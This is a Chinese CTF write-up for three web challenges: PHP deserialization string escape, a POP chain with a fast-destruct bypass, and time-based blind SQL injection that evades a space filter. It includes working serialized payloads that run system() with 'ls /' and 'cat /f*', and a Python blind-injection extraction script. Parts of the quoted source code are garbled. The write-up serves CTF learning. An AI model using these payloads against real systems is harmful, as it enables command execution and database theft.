WEEK4|WEB

源码:

key=$key;}publicfunction__destruct(){system($this->cmd);}}unserialize(waf(serialize(newGetFlag($_GET['key']))));www-data www-data

经典的反序列化漏洞字符逃逸增多问题 bad 替换为 good 字符增加一位

首先序列化代码很容易构造 如下

<?phpclass GetFlag {public $key;public $cmd = "ls /";}$a = new GetFlag();echo serialize($a);

得到

O:7:”GetFlag”:2:{s:3:”key”;N;s:3:”cmd”;s:4:”ls /”;}

我们需要逃逸的就是s:3:”cmd”;s:4:”ls /”;} 然后为了更好的闭合我一般都会加上; 这个符号 也就是需要逃逸;s:3:”cmd”;s:4:”ls /”;} 总共24个字符 这样我们只需要写24个bad就行了 我们测验一下

Payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad”;s:3:”cmd”;s:4:”ls /”;}

找到flag 然后用同样的方法进行获取flag

最终paylod:

” />

获得flag

总结

字符逃逸的主要原理就是闭合,和sql注入类似,只不过它判断的是字符串的长度。输入恰好的字符串长度,让无用的部分字符逃逸或吞掉,从而达到我们想要的目的。

逃逸漏洞特点

此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
这种题目有个共同点:

php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化
反序列化字符逃逸问题根据过滤函数一般分为两种,字符数增多和字符数减少

More Fast

考点:

Fastdestruct + 基础序列化构造

源代码

var)){($this->func)($this->var);}else{echo "Not Flag";}}}class Crypto{public $obj;public function __toString() {$wel = $this->obj->good;return "NewStar";}}class Misc{public function evil() {echo "good job but nothing";}}$a = @unserialize($_POST['fast']);throw new Exception("Nope"); Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55

这里的POP链构造非常简单 基本了解每一种的魔术方法的触发条件就可以构造了 我们也不多讲 直接给代码

解题:

POP链:__destruct()->__toString()->__get($var)->__invoke()->Web

errMsg = new Crypto();$a->errMsg->obj = new Reverse();$a->errMsg->obj->func = new Pwn();$a->errMsg->obj->func->obj = new Web();echo serialize($a);

得到payload:

O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:4:”ls /”;}}}}}

我们传入得到 报错

为什么呢?原来代码里面扔了个异常

这会导致在反序列化之后直接经过异常报错 导致后边的析构函数__destruct()无法触发,所以才有了题目提示

所以就有个Fast desrtuct 这个知识点 我们如何快速触发?

快速触发desrtuct

1.修改序列化数字元素个数

原paylaod:O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:4:”ls /”;}}}}}

改成

O:5:”Start”:2:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:4:”ls /”;}}}}

2.去掉序列化尾部 }

O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:4:”ls /”;}}}}

两种都可以 发现flag了 直接cat /f*就行了

paylaod:

fast=O:5:”Start”:3:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}}

得到flag

midsql

  • 考点

  • sql时间盲注,过滤了空格
  • 解题步骤:

测试输入框,发现过滤了空格,其他没有过滤,页面没有回显

preg_match(“/( |\n|\x0a)/is”, $_REQUEST[“id”]) ||

preg_match(“/[=\x09\xa0\x0a\x0b\x0c\x0d\x0e]/”, $_REQUEST[“id”])

使用/**/即可进行时间盲注

直接给脚本吧

import requests# from tqdm import trangeres = ''last = ' 'headers = {'Host': '93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/','Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Referer': 'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9'}for i in range(1, 1000):for j in range(127, 31, -1):url = r'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/" />{j}),sleep(3),0)'# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'url = url + payload# print(url)try:response = requests.get(url=url, timeout=4)except Exception as e:last = res# print(chr(j+1))res += chr(j + 1)# print(res)breakprint('[*] ' + res)

得到flag

思考:害 编写代码能力这么弱的我应该怎么办?